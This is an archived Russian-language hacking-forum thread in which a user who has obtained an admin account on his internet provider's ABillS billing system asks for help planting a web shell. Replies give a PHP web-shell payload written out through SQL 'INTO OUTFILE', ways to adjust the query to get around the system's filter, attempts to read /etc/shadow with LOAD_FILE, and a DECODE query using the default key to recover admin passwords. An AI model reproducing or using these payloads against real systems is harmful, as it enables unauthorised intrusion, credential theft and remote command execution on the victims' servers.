PDA

Просмотр полной версии : нужна помощь(abbills)


samarin
31.05.2008, 00:46
Может для когото вопросы покажутся и "детскими", но все-же:
Нарыл акк админа, очень бы хотелось залить шелл.В системе присутствует sql commander. Но или я тупой :mad: или коммандер какой-то не такой :confused:(скорее всего первое :( )
сайт разработчкика (bills.net.ua)
Делаю запрос например на вывод других админов в системе select user,password from admins в ответ выплевывает admin Чвl?ЄDЅ%КrJKЛ Как вывести на нормальном языке?
Проблема прядли с кодировками, т.к информация (имена пользователей, включая другую информацию)не считая паролей, выводятся в читабельном виде.
По поводу шела into outfile как и load не получается использовать (выскакивает ошибка error select tables from blabla).
-------------------------------
какие есть варианты?

bakl
01.06.2008, 12:26
admin Чвl?ЄDЅ%КrJKЛ


ну с этим возни больше будет, а вот что с шеллом не получается? напиши конкретно какой запрос делаешь и какую ошибку выкидывает, ну вообщем поподробнее опиши свои действия.

samarin
01.06.2008, 18:37
система работает на базе ".cgi"
user:abills@localhost
database:abills
version:5.0.51a-log
information_schema выводит
----------------------------------------
SELECT load_file('/etc/hosts') результат Ok
Но вывода файла нет =(
select load_file('/etc/shadow') ok
на права не ругается, значит доступ есть, но опять таки вывода файла нет.
---------------------------------------
Дальше колупать(не зная) стремно, как никак мой пров ))
---------------------------------------
Может кто подскажет как быть с выводом? или может с заливкой шелла?

bakl
01.06.2008, 19:11
так что те мешает найти папку для записи и потом выполнить запрос
select '<?php system($_GET["cmd"]); ?>' from mysql.user into outfile 'C:\www...ну вообщем путь до папки для записи (например С\www\tmp\) \ shell.php'

ну и потом просто http:\\путь до файла\shell.php?cmd=команда(напри мер dir)


p.s. исправил вчера забыл дописать from xd

mr.celt
02.06.2008, 14:20
Как вывести на нормальном языке?
Проблема прядли с кодировками, т.к информация (имена пользователей, включая другую информацию)не считая паролей, выводятся в читабельном виде.


похожая проблема с выводом паролей

__https://forum.antichat.ru/thread71538.html

mister
02.06.2008, 15:44
может хеш такой?

mr.celt
02.06.2008, 17:45
попробуй вот так
select user,cast(password as binary) from admins

samarin
06.06.2008, 13:48
так что те мешает найти папку для записи и потом выполнить запрос
select '<?php system($_GET["cmd"]); ?>' from mysql.user into outfile 'C:\www...ну вообщем путь до папки для записи (например С\www\tmp\) \ shell.php'

мешает по идее фильтр. Даже при кодировке 0х+hex вылазит одна и таже ошибка

[3] ERROR_SQL /select `
или [3] ERROR_SQL/select (сам запрос)

mr.celt
07.06.2008, 14:06
мешает по идее фильтр. Даже при кодировке 0х+hex вылазит одна и таже ошибка

[3] ERROR_SQL /select `
или [3] ERROR_SQL/select (сам запрос)

Я с этим sql commanderом не встречался, но ситуация была похожая. Когда ты делаешь select '<?php system($_GET["cmd"]); ?>' from mysql.user into outfile 'C:\www... , уверен, что количество столбцов в первом и втором selecte совпадает?

Пробовал вот так
select 1,2,'<?php system($_GET["cmd"]); ?>',4 from mysql.user into outfile 'C:\www... ?

samarin
22.06.2008, 16:09
Все кто отвечал так и не смотрели исходники :(. Сам вот добрался немного посмотрел(хоть сильно в этом и не разбираюсь)
так вот пароли выводятся криво из за функции encode
INSERT INTO admins (id, name, regdate, password, gid, aid, disable, phone, web_options) VALUES ('abills','abills','2005-06-16', ENCODE('abills', 'test12345678901234567890'), 0, 1,0,'', '');
как составить запрос для правильного вывода? Как я понял нужно использовать decode. А по поводу встроенного в систему sql commander-a может кто-то все таки не поленится и попробует систему в действии чтобы дать дельный совет по поводу шелла? буду признателен

+toxa+
22.06.2008, 18:01
SELECT load_file('/etc/hosts') результат Ok
Но вывода файла нет =(
select load_file('/etc/shadow') ok
на права не ругается, значит доступ есть, но опять таки вывода файла нет.
Наоборот, просто прав нету)

gisTy
28.06.2008, 01:27
функция обратная ENCODE это DECODE
decode('abills', 'test12345678901234567890')
ну или как там у тебя запрос составишь..